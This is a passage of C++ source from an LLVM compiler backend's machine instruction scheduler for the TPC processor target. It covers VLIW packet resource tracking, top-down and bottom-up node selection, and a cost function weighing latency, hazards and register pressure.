}\n if (RC == &TPC::ADRFRegClass) {\n res += liveInsADRF;\n }\n return res;\n}\n\n//------------------------------------------------------------------------------\n// Implementation of TPC Resource Model\n//------------------------------------------------------------------------------\n\nvoid TPCResourceModel::savePacket() {\n OldPacket = Packet;\n}\n\n// Keep track of available resources.\nbool TPCResourceModel::reserveResources(SUnit *SU) {\n bool startNewCycle = false;\n\n if (!SU) {\n ResourcesModel->clearResources();\n savePacket();\n Packet.clear();\n TotalPackets++;\n return false;\n }\n // If this SU does not fit in the packet\n // start a new one.\n if (!isResourceAvailable(SU)) {\n ResourcesModel->clearResources();\n savePacket();\n Packet.clear();\n TotalPackets++;\n startNewCycle = true;\n }\n\n if (!SU->getInstr()->isPseudo()) {\n ResourcesModel->reserveResources(*SU->getInstr());\n Packet.push_back(SU);\n }\n\n#ifndef NDEBUG\n LLVM_DEBUG(dbgs() << \"Packet[\" << TotalPackets << \"]:\\n\");\n for (unsigned i = 0, e = Packet.size(); i != e; ++i) {\n LLVM_DEBUG(dbgs() << \"\\t[\" << i << \"] SU(\");\n LLVM_DEBUG(dbgs() << Packet[i]->NodeNum << \")\\t\");\n LLVM_DEBUG(Packet[i]->getInstr()->dump());\n }\n#endif\n\n // If packet is now full, reset the state so in the next cycle\n // we start fresh.\n if (Packet.size() >= 4 /*SchedModel->getIssueWidth()*/) {\n ResourcesModel->clearResources();\n savePacket();\n Packet.clear();\n TotalPackets++;\n startNewCycle = true;\n }\n\n return startNewCycle;\n}\n\n/// Check if scheduling of this SU is possible in the current packet.\nbool TPCResourceModel::isResourceAvailable(SUnit *SU) {\n if (!SU || !SU->getInstr())\n return false;\n\n // First see if the pipeline could receive this instruction\n // in the current cycle.\n if (!SU->getInstr()->isPseudo()) {\n if (!ResourcesModel->canReserveResources(*SU->getInstr()))\n return false;\n }\n\n // Now see if there are no other dependencies to instructions already\n // in the packet.\n for (unsigned i = 0, e = Packet.size(); i != e; ++i) {\n if (Packet[i]->Succs.size() == 0)\n continue;\n\n for (SUnit::const_succ_iterator I = Packet[i]->Succs.begin(),\n E = Packet[i]->Succs.end(); I != E; ++I) {\n if (I->isCtrl())\n continue;\n\n if (I->getSUnit() == SU)\n return false;\n }\n }\n return true;\n}\n\n\n//------------------------------------------------------------------------------\n// Implementation of TPCMachineScheduler\n//------------------------------------------------------------------------------\n\nvoid TPCMachineScheduler::schedule() {\n LLVM_DEBUG(dbgs()\n << \"********** TPC MI Scheduling BB#\" << BB->getNumber()\n << \" \" << BB->getName()\n << \" in_func \" << BB->getParent()->getFunction().getName()\n << \" at loop depth \" << MLI->getLoopDepth(BB)\n << \" \\n\");\n LLVM_DEBUG(SchedImpl->dumpPolicy());\n\n buildDAGWithRegPressure();\n\n postprocessDAG();\n\n SmallVector<SUnit*, 8> TopRoots, BotRoots;\n findRootsAndBiasEdges(TopRoots, BotRoots);\n\n // Initialize the strategy before modifying the DAG.\n SchedImpl->initialize(this);\n\n LLVM_DEBUG(unsigned maxH = 0;\n for (unsigned su = 0, e = SUnits.size(); su != e; ++su)\n if (SUnits[su].getHeight() > maxH)\n maxH = SUnits[su].getHeight();\n dbgs() << \"Max Height \" << maxH << \"\\n\";);\n LLVM_DEBUG(unsigned maxD = 0;\n for (unsigned su = 0, e = SUnits.size(); su != e; ++su)\n if (SUnits[su].getDepth() > maxD)\n maxD = SUnits[su].getDepth();\n dbgs() << \"Max Depth \" << maxD << \"\\n\";);\n\n // Dump list of nodes in short format\n LLVM_DEBUG(\n for (unsigned su = 0, e = SUnits.size(); su != e; ++su)\n dumpNode(SUnits[su]);\n );\n\n // Dump list of nodes in details\n LLVM_DEBUG(\n dbgs() << \"--- Scheduled DAG ---\\n\";\n dump();\n dbgs() << \"--- End of scheduled DAG ---\\n\";\n );\n\n // Generate graphical view of the DAGs\n if (TPCViewMISchedDAGs) viewGraph();\n\n initQueues(TopRoots, BotRoots);\n\n //LLVM_DEBUG(dumpDAG());\n\n bool IsTopNode = false;\n while (true) {\n SUnit *SU = SchedImpl->pickNode(IsTopNode);\n if (!SU) break;\n\n if (!checkSchedLimit())\n break;\n\n scheduleMI(SU, IsTopNode);\n\n // Notify the scheduling strategy after updating the DAG.\n SchedImpl->schedNode(SU, IsTopNode);\n\n updateQueues(SU, IsTopNode);\n }\n\n placeDebugValues();\n\n LLVM_DEBUG({\n unsigned BBNum = begin()->getParent()->getNumber();\n dbgs() << \"*** Final schedule for BB#\" << BBNum << \" ***\\n\";\n dumpSchedule();\n dbgs() << '\\n'\n << \"**********\\n\";\n });\n}\n\n\nvoid TPCMachineScheduler::dumpDAG() {\n const TargetRegisterInfo &TRI = *MF.getSubtarget().getRegisterInfo();\n dbgs() << \"------ Schedule DAG ------\\n\";\n for (MachineBasicBlock::iterator MII = RegionEnd, MIE = RegionBegin;\n MII != MIE; --MII) {\n MachineInstr &MI = *std::prev(MII);\n dbgs() << \" Instr: \" << MI;\n SUnit *SU = getSUnit(&MI);\n dbgs() << \" Preds:\\n\";\n for (const SDep &PredD : SU->Preds) {\n dbgs() << \" \";\n PredD.dump(&TRI);\n dbgs() << \" \";\n SUnit *PredSU = PredD.getSUnit();\n MachineInstr *PredMI = PredSU->getInstr();\n if (PredMI)\n PredMI->dump();\n }\n dbgs() << \" Succs:\\n\";\n for (const SDep &SuccD : SU->Succs) {\n dbgs() << \" \";\n SuccD.dump(&TRI);\n dbgs() << \" \";\n SUnit *SuccSU = SuccD.getSUnit();\n MachineInstr *SuccMI = SuccSU->getInstr();\n if (SuccMI)\n SuccMI->dump();\n }\n dbgs() << \"----\\n\";\n }\n dbgs() << \"------ /Schedule DAG ------\\n\";\n}\n\n\n//------------------------------------------------------------------------------\n// Implementation of TPCSchedStrategy\n//------------------------------------------------------------------------------\n\nvoid TPCSchedStrategy::initialize(ScheduleDAGMI *dag) {\n LLVM_DEBUG(dbgs() << \"TPCSchedStrategy :: initialize\\n\");\n DAG = static_cast<TPCMachineScheduler*>(dag);\n SchedModel = DAG->getSchedModel();\n\n Top.init(DAG, SchedModel);\n Bot.init(DAG, SchedModel);\n\n // Initialize the HazardRecognizers. If itineraries don't exist, are empty, or\n // are disabled, then these HazardRecs will be disabled.\n const InstrItineraryData *Itin = DAG->getSchedModel()->getInstrItineraries();\n const TargetSubtargetInfo &STI = DAG->MF.getSubtarget();\n const TargetInstrInfo *TII = STI.getInstrInfo();\n\n if (!TPCUseFullSched) {\n llvm::ForceTopDown = true;\n }\n\n delete Top.HazardRec;\n delete Bot.HazardRec;\n Top.HazardRec = TII->CreateTargetMIHazardRecognizer(Itin, DAG);\n Bot.HazardRec = TII->CreateTargetMIHazardRecognizer(Itin, DAG);\n\n delete Top.ResourceModel;\n delete Bot.ResourceModel;\n Top.ResourceModel = new TPCResourceModel(STI, DAG->getSchedModel());\n Bot.ResourceModel = new TPCResourceModel(STI, DAG->getSchedModel());\n\n if (!isPostRA) {\n const std::vector<unsigned> &MaxPressure =\n DAG->getRegPressure().MaxSetPressure;\n HighPressureSets.assign(MaxPressure.size(), 0);\n for (unsigned i = 0, e = MaxPressure.size(); i < e; ++i) {\n unsigned Limit = DAG->getRegClassInfo()->getRegPressureSetLimit(i);\n HighPressureSets[i] =\n ((float) MaxPressure[i] > ((float) Limit * RPThreshold));\n //dbgs() << \" MaxPressure[\" << i << \"] = \" << MaxPressure[i] << \"\\n\";\n }\n\n liveInsADRF = 0;\n const llvm::MachineFunction &MF = DAG->MF;\n const TargetRegisterInfo &TRI = *MF.getSubtarget().getRegisterInfo();\n for (const auto &RegMaskPair : DAG->getTopRPTracker().getPressure().LiveInRegs) {\n Register Reg = RegMaskPair.RegUnit;\n if (Reg.isPhysical())\n continue;\n const TargetRegisterClass* rClass = MF.getRegInfo().getRegClass(Reg);\n if (rClass == &TPC::ADRFRegClass) {\n liveInsADRF++;\n }\n }\n //if(liveInsADRF) dbgs() << \"BB#\" << DAG->getBB()->getNumber() << \" - liveInsADRF = \" << liveInsADRF << \"\\n\";\n }\n}\n\n\n/// Pick the best candidate node from either the top or bottom queue.\nSUnit *TPCSchedStrategy::pickNodeBidrectional(bool &IsTopNode) {\n // Schedule as far as possible in the direction of no choice. This is most\n // efficient, but also provides the best heuristics for CriticalPSets.\n if (SUnit *SU = Bot.pickOnlyChoice()) {\n LLVM_DEBUG(dbgs() << \"Picked only Bottom\\n\");\n IsTopNode = false;\n return SU;\n }\n if (SUnit *SU = Top.pickOnlyChoice()) {\n LLVM_DEBUG(dbgs() << \"Picked only Top\\n\");\n IsTopNode = true;\n return SU;\n }\n SchedCandidate BotCand;\n // Prefer bottom scheduling when heuristics are silent.\n CandResult BotResult = pickNodeFromQueue(Bot.Available,\n DAG->getBotRPTracker(), BotCand);\n assert(BotResult != NoCand && \"failed to find the first candidate\");\n\n if (BotResult == SingleExcess || BotResult == SingleCritical) {\n LLVM_DEBUG(dbgs() << \"Prefered Bottom Node\\n\");\n IsTopNode = false;\n return BotCand.SU;\n }\n // Check if the top Q has a better candidate.\n SchedCandidate TopCand;\n CandResult TopResult = pickNodeFromQueue(Top.Available,\n DAG->getTopRPTracker(), TopCand);\n assert(TopResult != NoCand && \"failed to find the first candidate\");\n\n if (TopResult == SingleExcess || TopResult == SingleCritical) {\n LLVM_DEBUG(dbgs() << \"Prefered Top Node\\n\");\n IsTopNode = true;\n return TopCand.SU;\n }\n // If either Q has a single candidate that minimizes pressure above the\n // original region's pressure pick it.\n if (BotResult == SingleMax) {\n LLVM_DEBUG(dbgs() << \"Prefered Bottom Node SingleMax\\n\");\n IsTopNode = false;\n return BotCand.SU;\n }\n if (TopResult == SingleMax) {\n LLVM_DEBUG(dbgs() << \"Prefered Top Node SingleMax\\n\");\n IsTopNode = true;\n return TopCand.SU;\n }\n if (TopCand.SCost > BotCand.SCost || BotCand.SU->getInstr()->isPseudo()) {\n LLVM_DEBUG(dbgs() << \"Prefered Top Node Cost\\n\");\n IsTopNode = true;\n return TopCand.SU;\n }\n // Otherwise prefer the bottom candidate in node order.\n LLVM_DEBUG(dbgs() << \"Prefered Bottom in Node order\\n\");\n IsTopNode = false;\n return BotCand.SU;\n}\n\nSUnit *TPCSchedStrategy::pickNode(bool &IsTopNode) {\n LLVM_DEBUG(dbgs() << \"\\n*** pickNode\\n\");\n SUnit *SU = nullptr;\n\n if (DAG->top() == DAG->bottom()) {\n assert(Top.Available.empty() && \"ReadyQ garbage\");\n return nullptr;\n }\n\n if (llvm::ForceTopDown) {\n SU = Top.pickOnlyChoice();\n if (!SU) {\n SchedCandidate TopCand;\n CandResult TopResult =\n pickNodeFromQueue(Top.Available, DAG->getTopRPTracker(), TopCand);\n assert(TopResult != NoCand && \"failed to find the first candidate\");\n (void)TopResult;\n SU = TopCand.SU;\n }\n IsTopNode = true;\n }\n else if (llvm::ForceBottomUp) {\n SU = Bot.pickOnlyChoice();\n if (!SU) {\n SchedCandidate BotCand;\n CandResult BotResult =\n pickNodeFromQueue(Bot.Available, DAG->getBotRPTracker(), BotCand);\n assert(BotResult != NoCand && \"failed to find the first candidate\");\n (void)BotResult;\n SU = BotCand.SU;\n }\n IsTopNode = false;\n } else {\n SU = pickNodeBidrectional(IsTopNode);\n }\n\n\n if (SU->isTopReady())\n Top.removeReady(SU);\n if (SU->isBottomReady())\n Bot.removeReady(SU);\n\n LLVM_DEBUG(\n if (SU) {\n dbgs() << \"*** Pick node \"\n << (IsTopNode ? \"Top\" : \"Bottom\")\n << \" at cycle \" << (IsTopNode ? Top.CurrCycle : Bot.CurrCycle)\n << '\\n';\n dbgs() << \" \";\n DAG->dumpNode(*SU);\n } else {\n dbgs() << \" ** NO NODE \\n\";\n for (unsigned i = 0; i < DAG->SUnits.size(); i++) {\n const SUnit &S = DAG->SUnits[i];\n if (!S.isScheduled)\n DAG->dumpNode(S);\n }\n }\n );\n\n if (!isPostRA && IsTopNode) {\n Top.NumADRFregs = 1 + getRegPressure(SU, &TPC::ADRFRegClass);\n }\n\n return SU;\n}\n\nvoid TPCSchedStrategy::schedNode(SUnit *SU, bool IsTopNode) {\n MachineInstr *MI = SU->getInstr();\n (void)MI;\n lastScheduledSU = SU;\n if (IsTopNode) {\n Top.bumpNode(SU, isPostRA);\n SU->TopReadyCycle = Top.CurrCycle;\n LLVM_DEBUG(dbgs() << \" ** TopReadyCycle = \" << SU->TopReadyCycle << \"\\n\");\n } else {\n Bot.bumpNode(SU, isPostRA);\n SU->BotReadyCycle = Bot.CurrCycle;\n LLVM_DEBUG(dbgs() << \" ** BotReadyCycle = \" << SU->BotReadyCycle << \"\\n\");\n }\n}\n\nvoid TPCSchedStrategy::releaseTopNode(SUnit *SU) {\n MachineInstr *MI = SU->getInstr();\n (void)MI;\n if (SU->isScheduled) {\n LLVM_DEBUG(dbgs() << \"*** release Top - already scheduled: \" << *MI);\n return;\n }\n\n SU->TopReadyCycle = 0;\n for (const SDep &PI : SU->Preds) {\n unsigned PredReadyCycle = PI.getSUnit()->TopReadyCycle;\n unsigned MinLatency = PI.getLatency();\n#ifndef NDEBUG\n Top.MaxMinLatency = std::max(MinLatency, Top.MaxMinLatency);\n#endif\n if (SU->TopReadyCycle < PredReadyCycle + MinLatency)\n SU->TopReadyCycle = PredReadyCycle + MinLatency;\n }\n LLVM_DEBUG(dbgs() << \"*** released Top (ready = \" << SU->TopReadyCycle << \"): \" << *MI);\n if (MI->getOpcode() == TPC::MOVnodce) {\n SU->isScheduleHigh = true;\n }\n Top.releaseNode(SU, SU->TopReadyCycle, isPostRA);\n}\n\nvoid TPCSchedStrategy::releaseBottomNode(SUnit *SU) {\n MachineInstr *MI = SU->getInstr();\n (void)MI;\n if (SU->isScheduled) {\n LLVM_DEBUG(dbgs() << \"*** release Bot - already scheduled: \" << *MI);\n return;\n }\n assert(SU->getInstr() && \"Scheduled SUnit must have instr\");\n\n for (SUnit::succ_iterator I = SU->Succs.begin(), E = SU->Succs.end();\n I != E; ++I) {\n unsigned SuccReadyCycle = I->getSUnit()->BotReadyCycle;\n unsigned MinLatency = I->getLatency();\n#ifndef NDEBUG\n Bot.MaxMinLatency = std::max(MinLatency, Bot.MaxMinLatency);\n#endif\n if (SU->BotReadyCycle < SuccReadyCycle + MinLatency)\n SU->BotReadyCycle = SuccReadyCycle + MinLatency;\n }\n LLVM_DEBUG(dbgs() << \"*** released Bot (ready = \" << SU->BotReadyCycle << \"): \" << *MI);\n Bot.releaseNode(SU, SU->BotReadyCycle, isPostRA);\n}\n\n/// If this queue only has one ready candidate, return it. As a side effect,\n/// advance the cycle until at least one node is ready. If multiple instructions\n/// are ready, return NULL.\nSUnit *TPCSchedStrategy::TPCSchedBoundary::pickOnlyChoice() {\n for (unsigned i = 0; Available.empty(); ++i) {\n assert(i <= (HazardRec->getMaxLookAhead() + MaxMinLatency) &&\n \"permanent hazard\"); (void)i;\n ResourceModel->reserveResources(nullptr);\n bumpCycle();\n }\n\n // There is only one instruction available from the queue - simply return it.\n if (Available.size() == 1) {\n LLVM_DEBUG(dbgs() << \"*** \" << getName() << \" pickOnlyChoice\\n\");\n LLVM_DEBUG(dbgs() << \" \");\n LLVM_DEBUG(DAG->dumpNode(**Available.begin()));\n return *Available.begin();\n }\n return nullptr;\n}\n\nbool TPCSchedStrategy::tryChangeSlot(SUnit *SU, bool do_change) {\n const TPCInstrInfo * TII = DAG->MF.getSubtarget<TPCSubtarget>().getInstrInfo();\n MachineInstr * MI = SU->getInstr();\n std::vector<unsigned> alt_opcodes;\n bool changed = false;\n unsigned opc_orig = MI->getOpcode();\n if (TII->getOtherSlotOpcodes(MI, alt_opcodes)) {\n for (auto opc : alt_opcodes) {\n MI->setDesc(TII->get(opc));\n if (Top.HazardRec->getHazardType(SU) == ScheduleHazardRecognizer::NoHazard) {\n changed = true;\n break;\n }\n }\n if (!changed) {\n MI->setDesc(TII->get(opc_orig));\n }\n }\n if (changed && !do_change) {\n MI->setDesc(TII->get(opc_orig));\n }\n return changed;\n}\n\nTPCSchedStrategy::CandResult TPCSchedStrategy::\npickNodeFromQueue(ReadyQueue &Q, const RegPressureTracker &RPTracker,\n SchedCandidate &Candidate) {\n\n // getMaxPressureDelta temporarily modifies the tracker.\n RegPressureTracker &TempTracker = const_cast<RegPressureTracker&>(RPTracker);\n\n LLVM_DEBUG(\n dbgs() << \"*** Instructions available at cycle Top=\" << Top.CurrCycle << \" Bot=\" << Bot.CurrCycle << \"\\n\"; \n for (ReadyQueue::iterator I = Q.begin(), E = Q.end(); I != E; ++I) {\n dbgs() << \" R\" << (*I)->TopReadyCycle << \" \";\n DAG->dumpNode(**I);\n }\n );\n\n // BestSU remains NULL if no top candidates beat the best existing candidate.\n CandResult FoundCandidate = NoCand;\n for (ReadyQueue::iterator I = Q.begin(), E = Q.end(); I != E; ++I) {\n RegPressureDelta RPDelta;\n if (!isPostRA) {\n TempTracker.getMaxPressureDelta((*I)->getInstr(), RPDelta,\n DAG->getRegionCriticalPSets(),\n DAG->getRegPressure().MaxSetPressure);\n //LLVM_DEBUG(TempTracker.dump());\n }\n\n int CurrentCost = SchedulingCost(Q, *I, Candidate, RPDelta, false);\n\n LLVM_DEBUG(dbgs() << \"*** Cost(\" << CurrentCost << \"): \"); \n LLVM_DEBUG(DAG->dumpNode(**I));\n\n // Initialize the candidate if needed.\n if (!Candidate.SU) {\n Candidate.SU = *I;\n Candidate.RPDelta = RPDelta;\n Candidate.SCost = CurrentCost;\n FoundCandidate = NodeOrder;\n continue;\n }\n\n // Best cost.\n if (CurrentCost > Candidate.SCost /*&& !(*I)->getInstr()->isPseudo()*/) {\n Candidate.SU = *I;\n Candidate.RPDelta = RPDelta;\n Candidate.SCost = CurrentCost;\n FoundCandidate = BestCost;\n continue;\n }\n\n#if 0\n if (CurrentCost == Candidate.SCost) {\n unsigned CurrSize, CandSize;\n if (Q.getID() == TopQID) {\n CurrSize = (*I)->Succs.size();\n CandSize = Candidate.SU->Succs.size();\n } else {\n CurrSize = (*I)->Preds.size();\n CandSize = Candidate.SU->Preds.size();\n }\n if (CurrSize > CandSize) {\n Candidate.SU = *I;\n Candidate.RPDelta = RPDelta;\n Candidate.SCost = CurrentCost;\n FoundCandidate = BestCost;\n }\n // Keep the old candidate if it's a better candidate. That is, don't use\n // the subsequent tie breaker.\n if (CurrSize != CandSize)\n continue;\n }\n#endif\n\n // To avoid scheduling indeterminism, we need a tie breaker\n // for the case when cost is identical for two nodes.\n //\n if (CurrentCost == Candidate.SCost) {\n if ((Q.getID() == TopQID && (*I)->NodeNum < Candidate.SU->NodeNum)\n || (Q.getID() == BotQID && (*I)->NodeNum > Candidate.SU->NodeNum)) {\n Candidate.SU = *I;\n Candidate.RPDelta = RPDelta;\n Candidate.SCost = CurrentCost;\n FoundCandidate = NodeOrder;\n continue;\n }\n }\n\n // Fall through to original instruction order.\n // Only consider node order if Candidate was chosen from this Q.\n if (FoundCandidate == NoCand) {\n LLVM_DEBUG(dbgs() << \" *** No candidate found\\n\");\n continue;\n }\n }\n\n if (Top.HazardRec->isEnabled()) {\n if (Top.HazardRec->getHazardType(Candidate.SU) != ScheduleHazardRecognizer::NoHazard) {\n tryChangeSlot(Candidate.SU, true);\n }\n }\n\n LLVM_DEBUG(dbgs() << \"*** Selected (\" << Candidate.SCost << \")\\n\"); \n LLVM_DEBUG(dbgs() << \" \");\n //LLVM_DEBUG(Candidate.SU->dumpAttributes());\n LLVM_DEBUG(DAG->dumpNode(*(Candidate.SU)));\n\n#if 0\n LLVM_DEBUG(if (Candidate.SU->getInstr() && isHWRegProducer(*Candidate.SU->getInstr())) {\n dbgs() << \"*** HWReg Producer\\n\";\n });\n#endif\n\n return FoundCandidate;\n}\n\n/// isSingleUnscheduledPred - If SU2 is the only unscheduled predecessor\n/// of SU, return true (we may have duplicates)\n///\nstatic inline bool isSingleUnscheduledPred(SUnit *SU, SUnit *SU2) {\n if (SU->NumPredsLeft == 0)\n return false;\n\n for (auto &Pred : SU->Preds) {\n // We found an available, but not scheduled, predecessor.\n if (!Pred.getSUnit()->isScheduled && (Pred.getSUnit() != SU2))\n return false;\n }\n\n return true;\n}\n\n/// isSingleUnscheduledSucc - If SU2 is the only unscheduled successor\n/// of SU, return true (we may have duplicates)\n///\nstatic inline bool isSingleUnscheduledSucc(SUnit *SU, SUnit *SU2) {\n if (SU->NumSuccsLeft == 0)\n return false;\n\n for (auto &Succ : SU->Succs) {\n // We found an available, but not scheduled, successor.\n if (!Succ.getSUnit()->isScheduled && (Succ.getSUnit() != SU2))\n return false;\n }\n return true;\n}\n\n/// Check if the instruction changes the register pressure of a register in the\n/// high pressure set. The function returns a negative value if the pressure\n/// decreases and a positive value is the pressure increases. If the instruction\n/// doesn't use a high pressure register or doesn't change the register\n/// pressure, then return 0.\nint TPCSchedStrategy::pressureChange(const SUnit *SU, bool isBotUp) {\n PressureDiff &PD = DAG->getPressureDiff(SU);\n for (auto &P : PD) {\n if (!P.isValid())\n continue;\n // The pressure differences are computed bottom-up, so the comparision for\n // an increase is positive in the bottom direction, but negative in the\n // top-down direction.\n if (HighPressureSets[P.getPSet()]) {\n //dbgs() << \"pressureChange: \" << (-P.getUnitInc()) << \": \";\n //SU->dump(DAG);\n return (isBotUp ? P.getUnitInc() : -P.getUnitInc());\n }\n }\n return 0;\n}\n\n\n// Constants used to denote relative importance of\n// heuristic components for cost computation.\n\n/// Bonus assigned to scheduling candidate if it does not have scheduling hazards.\nstatic const int BonusNoHazards = 325;\n\n/// Bouns for scheduling candidate for which resources are available. It is used\n/// when hazard recognizer is disabled.\nstatic const int BonusForAvailableResources = 125;\n\n/// Bonus assigned to scheduling candidate for each blocked unit.\nstatic const int BonusForBlockedUnit = 10;\n\n/// Bonus for unit height.\nstatic const int BonusForUnitHeight = 10;\n\n/// Bonus for instructions that have high scheduling prioritity.\nstatic const int BonusForHighPriority = 200;\n\n/// Bonus for the COPY, which is the first instruction in the current packet.\nstatic const int BonusForTheFirstCopy = 200;\n\n/// Bonus for the COPY, which is the second instruction in the current packet.\nstatic const int BonusForTheSecondCopy = 50;\n\n/// Bonus for the COPY, which is the third instruction in the current packet.\nstatic const int BonusForTheThirdCopy = 75;\n\n/// Penalty for each cycle of latency.\nstatic const int PenaltyForLatencyCycle = 1000;\n\n/// Penalty for each unit of register pressure Exceed.\nstatic const int PenaltyRPExceed = 800;\n\n/// Penalty for each unit of register pressure CriticalMax.\nstatic const int PenaltyRPCriticalMax = 200;\n\n/// Penalty for each unit of register pressure CurrentMax.\nstatic const int PenaltyRPCurrentMax = 50;\n\n/// Penalty for ADRF definition if number of ADRFs exceeds limit.\nstatic const int PenaltyADRFUse = 200000;\n\n/// Penalty For LOOKUP.\nstatic const int PenaltyForLookup = 200;\n\n/// Penalty For SET_INDX.\nstatic const int PenaltyForSetIndex = 50;\n\n/// Penalty for unspillable reg definition if number of regs exceeds limit.\nstatic const int PenaltyNonSpillable = 4000;\n\n\n/// Single point to compute overall scheduling cost.\n/// TODO: add more heuristics.\nint TPCSchedStrategy::SchedulingCost(ReadyQueue &Q, SUnit *SU,\n SchedCandidate &Candidate,\n RegPressureDelta &Delta,\n bool verbose) {\n // Do not waste time on a node that is already scheduled.\n if (!SU || SU->isScheduled)\n return 1;\n\n int Bonus = 0;\n int Penalty = 0;\n\n MachineInstr &Instr = *SU->getInstr();\n LLVM_DEBUG(dbgs() << ((Q.getID() == TopQID) ? \"(top|\" : \"(bot|\"));\n\n // Forced priority is high.\n if (SU->isScheduleHigh) {\n Bonus += BonusForHighPriority;\n LLVM_DEBUG(dbgs() << \"High | \");\n }\n\n // Do not allow any instruction in the loop block to be scheduled\n // earlier then LOOP instruction.\n if (TPCII::isLoopInst(Instr.getDesc())) {\n Bonus += BonusForHighPriority;\n LLVM_DEBUG(dbgs() << \"Loop | \");\n }\n\n // Check if the SU to be scheduled has latency hazard (i.e. not ready to be scheduled).\n //\n int latencyHazard = 0;\n if (Q.getID() == TopQID) {\n for (const SDep &PI : SU->Preds) {\n unsigned PredReadyCycle = PI.getSUnit()->TopReadyCycle;\n unsigned MinLatency = PI.getLatency();\n if (Top.CurrCycle < PredReadyCycle + MinLatency) {\n int lat = (PredReadyCycle + MinLatency) - Top.CurrCycle;\n if (latencyHazard < lat) {\n latencyHazard = lat;\n }\n }\n }\n }\n if (latencyHazard > 0) {\n LLVM_DEBUG(dbgs() << \"Lat(\" << latencyHazard << \") | \");\n Penalty += latencyHazard * PenaltyForLatencyCycle;\n }\n\n int ResCount = 1;\n\n if (Q.getID() == TopQID) {\n if (Top.isLatencyBound(SU) || isPostRA) {\n Bonus += (SU->getHeight() * BonusForUnitHeight);\n LLVM_DEBUG(dbgs() << \"HLB(\" << SU->getHeight() << \") | \");\n } else {\n LLVM_DEBUG(dbgs() << \"H(\" << SU->getHeight() << \") | \");\n }\n\n // Change slot for IRF copy\n if (Instr.getOpcode() == TPC::MOVIIp) {\n tryChangeSlot(SU, true);\n }\n\n // If resources are available for it, multiply the chance of scheduling.\n if (latencyHazard == 0) {\n if (Top.HazardRec->isEnabled()) {\n bool HazardResolved = (Top.HazardRec->getHazardType(SU) == ScheduleHazardRecognizer::NoHazard);\n if (!HazardResolved) {\n if (tryChangeSlot(SU, false)) {\n LLVM_DEBUG(dbgs() << \"BR | \");\n HazardResolved = true;\n }\n }\n if (HazardResolved) {\n // We have to do something with pseudo instructions, such as COPY - we\n // do not know whether such instruction can be inserted in current VLIW\n // instruction or not. Do some guess here.\n //\n if (Instr.isCopy()) {\n unsigned sz = Top.ResourceModel->getCurPacketSize();\n switch (sz) {\n case 0: Bonus += BonusForTheFirstCopy; break;\n case 1: Bonus += BonusForTheSecondCopy; break;\n case 2: Bonus += BonusForTheThirdCopy; break;\n default: break;\n }\n } else {\n Bonus += BonusNoHazards;\n }\n LLVM_DEBUG(dbgs() << \"B|\");\n }\n } else if (Top.ResourceModel->isResourceAvailable(SU)) {\n Bonus += BonusForAvailableResources;\n }\n }\n } else { // (Q.getID() == BotQID)\n if (Bot.isLatencyBound(SU)) {\n Bonus += BonusNoHazards;\n LLVM_DEBUG(dbgs() << \"DLB(\" << SU->getDepth() << \")|\");\n }\n\n // If resources are available for it, multiply the chance of scheduling.\n if (latencyHazard == 0) {\n if (Bot.HazardRec->isEnabled()) {\n bool HazardResolved = (Top.HazardRec->getHazardType(SU) == ScheduleHazardRecognizer::NoHazard);\n if (!HazardResolved) {\n if (tryChangeSlot(SU, false)) {\n Bonus += BonusNoHazards;\n LLVM_DEBUG(dbgs() << \"BR|\");\n }\n }\n if (HazardResolved) {\n Bonus += BonusNoHazards;\n LLVM_DEBUG(dbgs() << \"B|\");\n }\n } else if (Bot.ResourceModel->isResourceAvailable(SU)) {\n Bonus += BonusForAvailableResources;\n }\n }\n }\n\n int NumNodesBlocking = 0;\n if (Q.getID() == TopQID) {\n // How many SUs does it block from scheduling?\n // Look at all of the successors of this node.\n // Count the number of nodes that\n // this node is the sole unscheduled node for.\n if (Top.isLatencyBound(SU) || isPostRA) {\n for (const SDep &SI : SU->Succs)\n if (isSingleUnscheduledPred(SI.getSUnit(), SU))\n ++NumNodesBlocking;\n }\n } else {\n // How many unscheduled predecessors block this node?\n if (Bot.isLatencyBound(SU)) {\n for (const SDep &PI : SU->Preds)\n if (isSingleUnscheduledSucc(PI.getSUnit(), SU))\n ++NumNodesBlocking;\n }\n }\n LLVM_DEBUG(dbgs() << \"NB(\" << NumNodesBlocking << \") | \");\n Bonus += (NumNodesBlocking * BonusForBlockedUnit);\n\n if (!isPostRA) {\n // Less preference to SET_INDX to be able to try another slot for it\n if (Instr.getOpcode() == TPC::SET_INDX_ld_rp || Instr.getOpcode() == TPC::SET_INDX_ld_ip) {\n Penalty += PenaltyForSetIndex;\n }\n }\n // Less preference to LOOKUP to be able to try another slot for it\n if (TPCII::isLookupC(Instr.getDesc())) {\n Penalty += PenaltyForLookup;\n }\n\n // Factor in reg pressure as a heuristic.\n //\n if (!isPostRA && !TPCIgnoreBBRegPressure) {\n LLVM_DEBUG(\n dbgs() << \"RP(\" << Delta.Excess.getUnitInc() << \"/\"\n << Delta.CriticalMax.getUnitInc() <<\"/\"\n << Delta.CurrentMax.getUnitInc() << \")|\";\n );\n Penalty += (Delta.Excess.getUnitInc() * PenaltyRPExceed);\n Penalty += (Delta.CriticalMax.getUnitInc() * PenaltyRPCriticalMax);\n Penalty += (Delta.CurrentMax.getUnitInc() * PenaltyRPCurrentMax);\n\n const TPCInstrInfo * TII = DAG->MF.getSubtarget<TPCSubtarget>().getInstrInfo();\n if (Delta.Excess.getUnitInc() > 0 && TII->instrProducesUnspillableReg(Instr)) {\n // If scheduling the instruction causes register spilling\n // but the register it produces is non spillable then increse\n // the penalty to be big enough\n Penalty += PenaltyNonSpillable;\n }\n }\n\n if (!isPostRA && isDefADRF(SU)) {\n // unsigned rp = Top.NumADRFregs;\n unsigned rp = 1 + getRegPressure(SU, &TPC::ADRFRegClass);\n LLVM_DEBUG(dbgs() << \"ADRF(\" << rp << \") | \");\n if (rp > 6) {\n Penalty += PenaltyADRFUse;\n }\n }\n\n LLVM_DEBUG(dbgs() << \"\\n\");\n return ResCount + Bonus - Penalty;\n}\n\n/// Remove SU from the ready set for this boundary.\nvoid TPCSchedStrategy::TPCSchedBoundary::removeReady(SUnit *SU) {\n if (Available.isInQueue(SU))\n Available.remove(Available.find(SU));\n}\n\nvoid TPCSchedStrategy::TPCSchedBoundary::releaseNode(SUnit *SU,\n unsigned ReadyCycle,\n\t\t\t\t\t\t bool isPostRA) {\n //LLVM_DEBUG(dbgs() << \"TPCSchedStrategy :: TPCSchedBoundary :: releaseNode\\n\");\n if (ReadyCycle < MinReadyCycle)\n MinReadyCycle = ReadyCycle;\n Available.push(SU);\n}\n\n\n/// Move the boundary of scheduled code by one cycle.\nvoid 